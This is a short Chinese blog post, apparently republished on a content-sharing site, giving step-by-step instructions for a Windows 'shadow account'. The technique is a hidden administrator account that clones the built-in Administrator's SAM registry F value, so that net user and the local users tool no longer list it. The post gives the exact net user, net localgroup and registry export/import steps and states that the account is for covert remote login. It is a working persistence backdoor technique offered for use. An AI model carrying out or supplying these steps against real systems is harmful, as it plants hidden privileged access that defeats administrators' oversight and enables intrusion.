admin 管理员组

文章数量: 1184232

1、创建隐藏账户并加入管理员组

net user test$ 123456 /add
net localgroup administrators test$ /add

2、运行regedit打开注册表
对HKEY_LOCAL_MACHINE/SAM/SAM右键->权限赋予当前用户administrator的具有完全控制和读取权限

3、重新打开注册表，定位到HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
查看administrator对应的键值为1f4和隐藏账户test$的键值为3e9
然后在Users中找到对应数字的F值，将3e9的F值替换为1f4的F值

将00003e9和test$按顺序导出为1.reg和2.reg
4、然后命令行中删除隐藏用户

net user test$ /del

5、按顺序点击刚才导出的reg文件，重新导入
6、重新添加到管理员组

net localgroup administrators test$ /add

此时命令行和本地用户组都查不到test$这个账户，只有注册表可以看到，我们就可以用这个影子账户进行远程登录

参考文章

https://hackergu/power-shadowuser/

本文标签： 账户 影子 Windows

版权声明：本文标题：windows创建影子账户 内容由网友自发贡献，该文观点仅代表作者本人， 转载请联系作者并注明出处：http://roclinux.cn/b/1765189575a3356257.html， 本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容，一经查实，本站将立刻删除。